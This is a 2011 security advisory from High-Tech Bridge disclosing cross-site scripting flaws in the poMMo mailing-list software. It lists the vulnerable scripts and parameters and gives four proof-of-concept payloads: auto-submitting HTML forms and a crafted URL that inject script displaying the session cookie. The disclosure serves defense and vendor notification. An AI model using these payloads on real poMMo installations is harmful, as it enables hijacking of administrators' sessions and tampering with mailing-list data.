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HTB22976: Multiple XSS (Cross Site Scripting) vulnerabilities in poMMo
From: advisory () htbridge ch
Date: Tue, 10 May 2011 09:11:39 +0200 (CEST)

Vulnerability ID: HTB22976
Reference: http://www.htbridge.ch/advisory/multiple_xss_cross_site_scripting_vulnerabilities_in_pommo.html
Product: poMMo
Vendor: Brice Burgess ( http://pommo.org/ ) 
Vulnerable Version: Aardvark PR16.1
Vendor Notification: 26 April 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerabilities exists due to failure in the "admin/setup/config/general.php", "index.php", 
"admin/subscribers/subscribers_groups.php", "admin/setup/setup_fields.php" scripts to properly sanitize user-supplied 
input in "site_name", "referer", "group_name" and "field_name" variables. Successful exploitation of this vulnerability 
could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or 
modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

1.

<form action="http://host/admin/setup/config/general.php"; method="post" name="main">
<input type="hidden" name="list_name" value="Mailing List">
<input type="hidden" name="site_name" value='poMMo"><script>alert(document.cookie)</script>'>
<input type="hidden" name="site_name" value="poMMo Website">
<input type="hidden" name="site_url" value="http://www.example.com/";>
<input type="hidden" name="site_success" value="">
<input type="hidden" name="site_confirm" value="">
<input type="hidden" name="list_confirm" value="on">
<input type="hidden" name="list_exchanger" value="mail">
</form>
<script>
document.main.submit();
</script>


2.

http://host/index.php?referer=1";><script>alert(document.cookie)</script>


3.

<form action="http://host/admin/subscribers/subscribers_groups.php"; method="post" name="main">
<input type="hidden" name="group_name value='group"><script>alert("XSS")</script>'>
</form>
<script>
document.main.submit();
</script>


4.

<form action="http://host/admin/setup/setup_fields.php"; method="post" name="main">
<input type="hidden" name="field_name" value='1"><script>alert(document.cookie)</script>'>
<input type="hidden" name="field_type" value="text">
</form>
<script>
document.main.submit();
</script>




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